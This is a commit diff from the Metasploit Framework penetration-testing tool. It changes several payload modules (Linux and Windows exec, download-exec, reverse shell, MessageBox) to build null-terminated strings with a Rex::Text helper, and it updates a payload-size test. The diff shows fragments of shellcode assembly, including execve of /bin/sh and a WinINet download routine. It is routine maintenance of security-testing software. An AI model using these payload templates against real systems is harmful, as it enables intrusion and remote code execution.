Use rex-text hex string helper, fix module assembly null-terminated string usage
Use rex-text to_hex_cstring keyword arg
This commit is contained in:
@@ -168,8 +168,8 @@ class PayloadCachedSize
|
||||
#
|
||||
# @param mod [Msf::Payload] The class of the payload module to update
|
||||
# @return [Integer, String]
|
||||
def self.compute_cached_size(framework, mod)
|
||||
return ":dynamic" if is_dynamic?(framework, mod)
|
||||
def self.compute_cached_size(framework, mod, generation_count: 10)
|
||||
return ":dynamic" if is_dynamic?(framework, mod, generation_count: generation_count)
|
||||
|
||||
mod.replicant.generate_simple(module_options(mod)).bytesize
|
||||
end
|
||||
@@ -180,7 +180,7 @@ class PayloadCachedSize
|
||||
# @param generation_count [Integer] The number of iterations to use to
|
||||
# verify that the size is static.
|
||||
# @return [Boolean]
|
||||
def self.is_dynamic?(framework, mod, generation_count=10)
|
||||
def self.is_dynamic?(framework, mod, generation_count: 10)
|
||||
return true if mod.class.const_defined?('ForceDynamicCachedSize') && mod.class::ForceDynamicCachedSize
|
||||
opts = module_options(mod)
|
||||
last_bytesize = nil
|
||||
|
||||
@@ -40,7 +40,6 @@ module MetasploitModule
|
||||
def generate(_opts = {})
|
||||
cmd = datastore['CMD'] || ''
|
||||
cmd_length = cmd.bytesize
|
||||
cmd = cmd.bytes.map { |byte| '0x%02x' % byte }.join(', ')
|
||||
nullfreeversion = datastore['NullFreeVersion']
|
||||
|
||||
if cmd.empty?
|
||||
@@ -99,12 +98,14 @@ module MetasploitModule
|
||||
raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller
|
||||
end
|
||||
|
||||
# Null-free: raw bytes without terminator (patched at runtime)
|
||||
cmd_bytes = Rex::Text.to_hex_cstring(cmd, nullbyte: false)
|
||||
if cmd_length <= 0xff # 255
|
||||
breg = 'bl'
|
||||
else
|
||||
breg = 'bx'
|
||||
if (cmd_length & 0xff) == 0 # let's avoid zeroed bytes
|
||||
cmd += ', 0x20'
|
||||
cmd_bytes += ', 0x20'
|
||||
cmd_length += 1
|
||||
end
|
||||
end
|
||||
@@ -147,9 +148,11 @@ module MetasploitModule
|
||||
syscall ; execve("//bin/sh", ["//bin/sh", "-c", "*CMD*"], NULL)
|
||||
tocall:
|
||||
call afterjmp
|
||||
db #{cmd} ; arbitrary command
|
||||
db #{cmd_bytes} ; arbitrary command
|
||||
EOS
|
||||
else
|
||||
# Non-null-free: null-terminated cstring
|
||||
cmd_cstring = Rex::Text.to_hex_cstring(cmd)
|
||||
# 37 bytes without cmd (not null-free)
|
||||
payload = <<-EOS
|
||||
mov rax, 0x68732f6e69622f
|
||||
@@ -166,7 +169,7 @@ module MetasploitModule
|
||||
|
||||
push rdx ; NULL
|
||||
call continue
|
||||
db #{cmd}, 0x00 ; arbitrary command
|
||||
db #{cmd_cstring} ; arbitrary command
|
||||
continue:
|
||||
push rsi ; "-c"
|
||||
push rdi ; "/bin/sh"
|
||||
|
||||
@@ -36,7 +36,7 @@ module MetasploitModule
|
||||
if length > 0xff
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'HOSTNAME must be less than 255 characters.')
|
||||
end
|
||||
hostname = hostname.bytes.map { |byte| '0x%02x' % byte }.join(', ')
|
||||
hostname = Rex::Text.to_hex_cstring(hostname, nullbyte: false)
|
||||
|
||||
payload = %^
|
||||
push 0xffffffffffffff56 ; sethostname() syscall number.
|
||||
|
||||
@@ -53,7 +53,6 @@ module MetasploitModule
|
||||
def generate(_opts = {})
|
||||
cmd = datastore['CMD'] || ''
|
||||
cmd_length = cmd.bytesize
|
||||
cmd = cmd.bytes.map { |byte| '0x%02x' % byte }.join(', ')
|
||||
nullfreeversion = datastore['NullFreeVersion']
|
||||
if cmd.empty?
|
||||
#
|
||||
@@ -95,12 +94,14 @@ module MetasploitModule
|
||||
raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller
|
||||
end
|
||||
|
||||
# Null-free: raw bytes without terminator (patched at runtime)
|
||||
cmd_bytes = Rex::Text.to_hex_cstring(cmd, nullbyte: false)
|
||||
if cmd_length <= 0xff # 255
|
||||
breg = 'bl'
|
||||
else
|
||||
breg = 'bx'
|
||||
if (cmd_length & 0xff) == 0 # let's avoid zeroed bytes
|
||||
cmd += ', 0x20'
|
||||
cmd_bytes += ', 0x20'
|
||||
cmd_length += 1
|
||||
end
|
||||
end
|
||||
@@ -130,9 +131,11 @@ module MetasploitModule
|
||||
int 0x80
|
||||
tocall:
|
||||
call afterjmp ; call/pop cmd address
|
||||
db #{cmd}
|
||||
db #{cmd_bytes}
|
||||
EOS
|
||||
else
|
||||
# Non-null-free: null-terminated cstring
|
||||
cmd_cstring = Rex::Text.to_hex_cstring(cmd)
|
||||
# 36 bytes without cmd (not null-free)
|
||||
payload = <<-EOS
|
||||
push 0xb
|
||||
@@ -146,7 +149,7 @@ module MetasploitModule
|
||||
mov ebx, esp
|
||||
push edx
|
||||
call continue
|
||||
db #{cmd}, 0x00
|
||||
db #{cmd_cstring}
|
||||
continue:
|
||||
push edi
|
||||
push ebx
|
||||
|
||||
@@ -34,7 +34,7 @@ module MetasploitModule
|
||||
|
||||
def generate(_opts = {})
|
||||
fd = datastore['FD']
|
||||
path = (datastore['PATH'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ')
|
||||
path = Rex::Text.to_hex_cstring(datastore['PATH'] || '')
|
||||
|
||||
payload_data = <<-EOS
|
||||
jmp file
|
||||
@@ -66,7 +66,7 @@ module MetasploitModule
|
||||
|
||||
file:
|
||||
call open
|
||||
db #{path}, 0x00
|
||||
db #{path}
|
||||
EOS
|
||||
|
||||
Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string
|
||||
|
||||
@@ -43,8 +43,7 @@ module MetasploitModule
|
||||
raise ArgumentError, 'LHOST must be in IPv4 format.'
|
||||
end
|
||||
|
||||
cmd = (datastore['CMD'] || '') + "\x00"
|
||||
cmd = cmd.bytes.map { |byte| '0x%02x' % byte }.join(', ')
|
||||
cmd = Rex::Text.to_hex_cstring(datastore['CMD'] || '')
|
||||
encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')
|
||||
encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')
|
||||
encoded_host_port = format('0x%<encoded_host>.8x%<encoded_port>.8x', { encoded_host: encoded_host, encoded_port: encoded_port })
|
||||
@@ -81,7 +80,7 @@ module MetasploitModule
|
||||
xor rax,rax
|
||||
mov eax,0x200003b
|
||||
call load_cmd
|
||||
db #{cmd}, 0x00
|
||||
db #{cmd}
|
||||
load_cmd:
|
||||
pop rdi
|
||||
xor rdx,rdx
|
||||
|
||||
@@ -124,9 +124,9 @@ module MetasploitModule
|
||||
|
||||
# get protocol specific stuff
|
||||
|
||||
server_uri = server_uri.bytes.map { |byte| '0x%02x' % byte }.join(', ')
|
||||
filename = filename.bytes.map { |byte| '0x%02x' % byte }.join(', ')
|
||||
server_host = server_host.bytes.map { |byte| '0x%02x' % byte }.join(', ')
|
||||
server_uri = Rex::Text.to_hex_cstring(server_uri)
|
||||
filename = Rex::Text.to_hex_cstring(filename)
|
||||
server_host = Rex::Text.to_hex_cstring(server_host)
|
||||
|
||||
# create actual payload
|
||||
payload_data = %^
|
||||
@@ -226,7 +226,7 @@ module MetasploitModule
|
||||
call httpopenrequest
|
||||
|
||||
server_uri:
|
||||
db #{server_uri}, 0x00
|
||||
db #{server_uri}
|
||||
|
||||
create_file:
|
||||
jmp.i8 get_filename
|
||||
@@ -297,13 +297,13 @@ module MetasploitModule
|
||||
|
||||
get_filename:
|
||||
call get_filename_return
|
||||
db #{filename}, 0x00
|
||||
db #{filename}
|
||||
|
||||
get_server_host:
|
||||
call internetconnect
|
||||
|
||||
server_host:
|
||||
db #{server_host}, 0x00
|
||||
db #{server_host}
|
||||
end:
|
||||
^
|
||||
self.assembly = payload_data
|
||||
|
||||
@@ -40,8 +40,8 @@ module MetasploitModule
|
||||
# Construct the payload
|
||||
#
|
||||
def generate(_opts = {})
|
||||
title = (datastore['TITLE'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ')
|
||||
text = (datastore['TEXT'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ')
|
||||
title = Rex::Text.to_hex_cstring(datastore['TITLE'] || '')
|
||||
text = Rex::Text.to_hex_cstring(datastore['TEXT'] || '')
|
||||
style = 0x00
|
||||
case datastore['ICON'].upcase.strip
|
||||
# default = NO
|
||||
@@ -91,10 +91,10 @@ module MetasploitModule
|
||||
call ebp
|
||||
push #{style}
|
||||
call get_title
|
||||
db #{title}, 0x00
|
||||
db #{title}
|
||||
get_title:
|
||||
call get_text
|
||||
db #{text}, 0x00
|
||||
db #{text}
|
||||
get_text:
|
||||
push 0
|
||||
push #{block_api_hash('user32.dll', 'MessageBoxA')}
|
||||
|
||||
@@ -42,8 +42,8 @@ module MetasploitModule
|
||||
display = datastore['DISPLAY'] || 'HIDE'
|
||||
url_length = url.bytesize
|
||||
file_length = file.bytesize
|
||||
url = url.bytes.map { |byte| '0x%02x' % byte }.join(', ')
|
||||
file = file.bytes.map { |byte| '0x%02x' % byte }.join(', ')
|
||||
url = Rex::Text.to_hex_cstring(url, nullbyte: false)
|
||||
file = Rex::Text.to_hex_cstring(file, nullbyte: false)
|
||||
|
||||
payload = %^
|
||||
cld
|
||||
|
||||
@@ -36,8 +36,8 @@ module MetasploitModule
|
||||
end
|
||||
|
||||
def generate(_opts = {})
|
||||
title = (datastore['TITLE'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ')
|
||||
text = (datastore['TEXT'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ')
|
||||
title = Rex::Text.to_hex_cstring(datastore['TITLE'] || '')
|
||||
text = Rex::Text.to_hex_cstring(datastore['TEXT'] || '')
|
||||
style = 0x00
|
||||
case datastore['ICON'].upcase.strip
|
||||
# default = NO
|
||||
@@ -90,11 +90,11 @@ module MetasploitModule
|
||||
call rbp
|
||||
mov r9, #{style}
|
||||
call get_text
|
||||
db #{text}, 0x00
|
||||
db #{text}
|
||||
get_text:
|
||||
pop rdx
|
||||
call get_title
|
||||
db #{title}, 0x00
|
||||
db #{title}
|
||||
get_title:
|
||||
pop r8
|
||||
xor rcx,rcx
|
||||
|
||||
@@ -107,11 +107,10 @@ RSpec.shared_examples_for 'payload cached size is consistent' do |options|
|
||||
reference_name: reference_name
|
||||
)
|
||||
|
||||
next if reference_name =~ /generic|peinject/
|
||||
next if reference_name =~ /generic/
|
||||
|
||||
pinst.datastore['CMD'] = '/bin/sh'
|
||||
generated = pinst.generate
|
||||
expect(generated).to_not be_nil
|
||||
generated_size = ::Msf::Util::PayloadCachedSize.compute_cached_size(framework, pinst, generation_count: 1)
|
||||
expect(generated_size).to eq(':dynamic').or be_a(::Integer)
|
||||
end
|
||||
|
||||
next if reference_name =~ /generic|peinject/
|
||||
|
||||
Reference in New Issue
Block a user